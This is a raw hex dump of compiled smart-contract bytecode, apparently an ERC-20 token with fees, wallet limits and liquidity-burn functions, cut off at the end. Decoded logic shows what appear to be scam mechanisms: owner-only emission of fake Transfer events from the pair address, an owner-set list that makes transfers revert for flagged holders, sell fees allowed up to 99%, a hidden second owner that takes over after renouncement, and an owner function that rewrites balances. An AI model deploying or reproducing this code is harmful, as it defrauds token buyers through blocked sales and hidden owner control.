190815260200160002060009054906101000a900460ff169050919050565b61127b6128f9565b670de0b6b3a76400006103e86001611291611133565b61129b9190614725565b6112a591906147ae565b6112af91906147ae565b8110156112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890614851565b60405180910390fd5b670de0b6b3a7640000816113059190614725565b600b8190555050565b600061131b848484612977565b6113dc84611327612726565b6113d7856040518060600160405280602881526020016158b260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061138d612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b61272e565b600190509392505050565b6113ef6128f9565b60005b838390508110156114be578383828181106114105761140f614871565b5b9050602002016020810190611425919061423f565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114a391906142f5565b60405180910390a380806114b6906148a0565b9150506113f2565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006012905090565b601560009054906101000a900460ff1681565b60006115a861150c612726565b846115a3856003600061151d612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c890919063ffffffff16565b61272e565b6001905092915050565b6115ba6128f9565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6116826128f9565b60005b838390508110156117215781601660008686858181106116a8576116a7614871565b5b90506020020160208101906116bd919061423f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611719906148a0565b915050611685565b50505050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117916128f9565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118576128f9565b61025883101561189c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118939061495b565b60405180910390fd5b6103e882111580156118af575060008210155b6118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e5906149ed565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b60006119256128f9565b6000601560006101000a81548160ff0219169083151502179055506001905090565b61194f6128f9565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6119de6128f9565b826018819055508160198190555080601a81905550601a54601954601854611a069190614a0d565b611a109190614a0d565b60178190555060196017541115611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5390614aaf565b60405180910390fd5b505050565b611a696128f9565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b056128f9565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b31906146c4565b80601f0160208091040260200160405190810160405280929190818152602001828054611b5d906146c4565b8015611baa5780601f10611b7f57610100808354040283529160200191611baa565b820191906000526020600020905b815481529060010190602001808311611b8d57829003601f168201915b5050505050905090565b601a5481565b611bc26128f9565b611bcc8282613502565b5050565b60105481565b60215481565b601e5481565b611bea6128f9565b611bf48282611de4565b5050565b6000611cbb611c05612726565b84611cb6856040518060600160405280602581526020016158da6025913960036000611c2f612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b61272e565b6001905092915050565b60145481565b6000611cdf611cd8612726565b8484612977565b6001905092915050565b611cf16128f9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611dec6128f9565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611ee36128f9565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f809190614224565b60405180910390a25050565b611f946128f9565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611fbc9190614a0d565b611fc69190614a0d565b601b819055506063601b541115612012576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200990614b1b565b60405180910390fd5b505050565b61201f6128f9565b670de0b6b3a76400006103e86005612035611133565b61203f9190614725565b61204991906147ae565b61205391906147ae565b811015612095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208c90614bad565b60405180910390fd5b670de0b6b3a7640000816120a99190614725565b600a8190555050565b6120ba6128f9565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612128600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611947565b50565b602360009054906101000a900460ff1681565b600b5481565b600061214e6128f9565b620186a0600161215c611133565b6121669190614725565b61217091906147ae565b8210156121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990614c3f565b60405180910390fd5b6103e8600a6121bf611133565b6121c99190614725565b6121d391906147ae565b821115612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220c90614cd1565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60006122c26128f9565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b6122f26128f9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235990614d63565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124356128f9565b600f546010546124459190614a0d565b4211612486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247d90614dcf565b60405180910390fd5b6103e88211156124cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c290614e61565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161252f9190614464565b602060405180830381865afa15801561254c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125709190614e96565b9050600061259b61271061258d86856136ce90919063ffffffff16565b61374990919063ffffffff16565b905060008111156125d6576125d5600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613793565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126a457600080fd5b505af11580156126b8573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126d79190614a0d565b90508381101561271c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271390614f0f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561279e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279590614fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561280e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280590615033565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128ec91906142f5565b60405180910390a3505050565b612901612726565b73ffffffffffffffffffffffffffffffffffffffff1661291f613a2c565b73ffffffffffffffffffffffffffffffffffffffff1614612975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296c9061509f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129de90615131565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4e906151c3565b60405180910390fd5b6000811415612a7157612a6c83836000613793565b613499565b601560009054906101000a900460ff161561308857612a8e611aa8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612afc5750612acc611aa8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b355750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b6f575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b885750600960149054906101000a900460ff16155b1561308757601560019054906101000a900460ff16612c8257602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c425750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c789061522f565b60405180910390fd5b5b602360009054906101000a900460ff1615612e4c57612c9f611aa8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d2657507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d805750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e4b5743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfd906152e7565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f3f57600b54811115612ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed990615379565b60405180910390fd5b600a54612eee83611740565b82612ef99190614a0d565b1115612f3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f31906153e5565b60405180910390fd5b613086565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fda57600b54811115612fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fcc90615477565b60405180910390fd5b613085565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661308457600a5461303783611740565b826130429190614a0d565b1115613083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307a906153e5565b60405180910390fd5b5b5b5b5b5b600061309330611740565b90506000600c5482101590508080156130b85750601560029054906101000a900460ff165b80156130d15750600960149054906101000a900460ff16155b80156131275750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561317d5750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131c1576001600960146101000a81548160ff0219169083151502179055506131a5613a40565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131ea5750601260009054906101000a900460ff165b156131fa576131f885613bc8565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132b05750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132ba57600090505b60008115613489576000601b541115613395576132f560646132e7601b54886136ce90919063ffffffff16565b61374990919063ffffffff16565b9050601b54601d54826133089190614725565b61331291906147ae565b602060008282546133239190614a0d565b92505081905550601b54601e548261333b9190614725565b61334591906147ae565b602160008282546133569190614a0d565b92505081905550601b54601c548261336e9190614725565b61337891906147ae565b601f60008282546133899190614a0d565b92505081905550613465565b60006017541115613464576133c860646133ba601754886136ce90919063ffffffff16565b61374990919063ffffffff16565b9050601754601954826133db9190614725565b6133e591906147ae565b602060008282546133f69190614a0d565b92505081905550601754601a548261340e9190614725565b61341891906147ae565b602160008282546134299190614a0d565b92505081905550601754601854826134419190614725565b61344b91906147ae565b601f600082825461345c9190614a0d565b925050819055505b5b600081111561347a57613479873083613793565b5b80856134869190615497565b94505b613494878787613793565b505050505b505050565b60008383111582906134e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134dd9190614109565b60405180910390fd5b50600083856134f59190615497565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613572576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135699061553d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f0906155cf565b60405180910390fd5b816004546136079190615497565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816008600082825461365c9190615497565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136c191906142f5565b60405180910390a3505050565b6000808314156136e15760009050613743565b600082846136ef9190614725565b90508284826136fe91906147ae565b1461373e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161373590615661565b60405180910390fd5b809150505b92915050565b600061378b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c86565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137fa90615131565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161386a906151c3565b60405180910390fd5b61387e838383613ce9565b6138ea8160405180606001604052806026815260200161588c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a1f91906142f5565b60405180910390a3505050565b600080613a37613cee565b90508091505090565b6000613a4b30611740565b90506000602154601f54602054613a629190614a0d565b613a6c9190614a0d565b9050600080831480613a7e5750600082145b15613a8b57505050613bc6565b6014600c54613a9a9190614725565b831115613ab3576014600c54613ab09190614725565b92505b600060028360205486613ac69190614725565b613ad091906147ae565b613ada91906147ae565b90506000613af18286613d9290919063ffffffff16565b90506000479050613b0182613ddc565b6000613b168247613d9290919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b76906156b2565b60006040518083038185875af1925050503d8060008114613bb3576040519150601f19603f3d011682016040523d82523d6000602084013e613bb8565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c049190614464565b602060405180830381865afa158015613c21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c459190614e96565b90506000613c5e601154836126c890919063ffffffff16565b9050613c6984614019565b613c7b5760008114613c7a57600080fd5b5b600192505050919050565b60008083118290613ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cc49190614109565b60405180910390fd5b5060008385613cdc91906147ae565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d695760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d8d565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dd483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061349e565b905092915050565b6000600267ffffffffffffffff811115613df957613df86156c7565b5b604051908082528060200260200182016040528015613e275781602001602082028036833780820191505090505b5090503081600081518110613e3f57613e3e614871565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ee4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f08919061570b565b81600181518110613f1c57613f1b614871565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f81307f00000000000000000000000000000000000000000000000000000000000000008461272e565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fe3959493929190615831565b600060405180830381600087803b158015613ffd57600080fd5b505af1158015614011573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140aa57808201518184015260208101905061408f565b838111156140b9576000848401525b50505050565b6000601f19601f8301169050919050565b60006140db82614070565b6140e5818561407b565b93506140f581856020860161408c565b6140fe816140bf565b840191505092915050565b6000602082019050818103600083015261412381846140d0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061416082614135565b9050919050565b61417081614155565b811461417b57600080fd5b50565b60008135905061418d81614167565b92915050565b6000819050919050565b6141a681614193565b81146141b157600080fd5b50565b6000813590506141c38161419d565b92915050565b600080604083850312156141e0576141df61412b565b5b60006141ee8582860161417e565b92505060206141ff858286016141b4565b9150509250929050565b60008115159050919050565b61421e81614209565b82525050565b60006020820190506142396000830184614215565b92915050565b6000602082840312156142555761425461412b565b5b60006142638482850161417e565b91505092915050565b6000819050919050565b600061429161428c61428784614135565b61426c565b614135565b9050919050565b60006142a382614276565b9050919050565b60006142b582614298565b9050919050565b6142c5816142aa565b82525050565b60006020820190506142e060008301846142bc565b92915050565b6142ef81614193565b82525050565b600060208201905061430a60008301846142e6565b92915050565b6000602082840312156143265761432561412b565b5b6000614334848285016141b4565b91505092915050565b6000806000606084860312156143565761435561412b565b5b60006143648682870161417e565b93505060206143758682870161417e565b9250506040614386868287016141b4565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143b5576143b4614390565b5b8235905067ffffffffffffffff8111156143d2576143d1614395565b5b6020830191508360208202830111156143ee576143ed61439a565b5b9250929050565b60008060006040848603121561440e5761440d61412b565b5b600084013567ffffffffffffffff81111561442c5761442b614130565b5b6144388682870161439f565b9350935050602061444b868287016141b4565b9150509250925092565b61445e81614155565b82525050565b60006020820190506144796000830184614455565b92915050565b600060ff82169050919050565b6144958161447f565b82525050565b60006020820190506144b0600083018461448c565b92915050565b6144bf81614209565b81146144ca57600080fd5b50565b6000813590506144dc816144b6565b92915050565b6000806000604084860312156144fb576144fa61412b565b5b600084013567ffffffffffffffff81111561451957614518614130565b5b6145258682870161439f565b93509350506020614538868287016144cd565b9150509250925092565b60008060006060848603121561455b5761455a61412b565b5b6000614569868287016141b4565b935050602061457a868287016141b4565b925050604061458b868287016144cd565b9150509250925092565b600080604083850312156145ac576145ab61412b565b5b60006145ba8582860161417e565b92505060206145cb858286016144cd565b9150509250929050565b6000806000606084860312156145ee576145ed61412b565b5b60006145fc868287016141b4565b935050602061460d868287016141b4565b925050604061461e868287016141b4565b9150509250925092565b60006020828403121561463e5761463d61412b565b5b600061464c848285016144cd565b91505092915050565b6000806040838503121561466c5761466b61412b565b5b600061467a8582860161417e565b925050602061468b8582860161417e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146dc57607f821691505b602082108114156146f0576146ef614695565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061473082614193565b915061473b83614193565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614774576147736146f6565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147b982614193565b91506147c483614193565b9250826147d4576147d361477f565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b600061483b602f8361407b565b9150614846826147df565b604082019050919050565b6000602082019050818103600083015261486a8161482e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006148ab82614193565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148de576148dd6146f6565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061494560338361407b565b9150614950826148e9565b604082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006149d760308361407b565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b6000614a1882614193565b9150614a2383614193565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614a5857614a576146f6565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a99601d8361407b565b9150614aa482614a63565b602082019050919050565b60006020820190508181036000830152614ac881614a8c565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614b05601d8361407b565b9150614b1082614acf565b602082019050919050565b60006020820190508181036000830152614b3481614af8565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b9760248361407b565b9150614ba282614b3b565b604082019050919050565b60006020820190508181036000830152614bc681614b8a565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c2960358361407b565b9150614c3482614bcd565b604082019050919050565b60006020820190508181036000830152614c5881614c1c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614cbb60328361407b565b9150614cc682614c5f565b604082019050919050565b60006020820190508181036000830152614cea81614cae565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d4d60268361407b565b9150614d5882614cf1565b604082019050919050565b60006020820190508181036000830152614d7c81614d40565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614db960208361407b565b9150614dc482614d83565b602082019050919050565b60006020820190508181036000830152614de881614dac565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614e4b602a8361407b565b9150614e5682614def565b604082019050919050565b60006020820190508181036000830152614e7a81614e3e565b9050919050565b600081519050614e908161419d565b92915050565b600060208284031215614eac57614eab61412b565b5b6000614eba84828501614e81565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614ef9601b8361407b565b9150614f0482614ec3565b602082019050919050565b60006020820190508181036000830152614f2881614eec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f8b60248361407b565b9150614f9682614f2f565b604082019050919050565b60006020820190508181036000830152614fba81614f7e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061501d60228361407b565b915061502882614fc1565b604082019050919050565b6000602082019050818103600083015261504c81615010565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061508960208361407b565b915061509482615053565b602082019050919050565b600060208201905081810360008301526150b88161507c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061511b60258361407b565b9150615126826150bf565b604082019050919050565b6000602082019050818103600083015261514a8161510e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151ad60238361407b565b91506151b882615151565b604082019050919050565b600060208201905081810360008301526151dc816151a0565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061521960168361407b565b9150615224826151e3565b602082019050919050565b600060208201905081810360008301526152488161520c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006152d160498361407b565b91506152dc8261524f565b606082019050919050565b60006020820190508181036000830152615300816152c4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061536360358361407b565b915061536e82615307565b604082019050919050565b6000602082019050818103600083015261539281615356565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006153cf60138361407b565b91506153da82615399565b602082019050919050565b600060208201905081810360008301526153fe816153c2565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061546160368361407b565b915061546c8261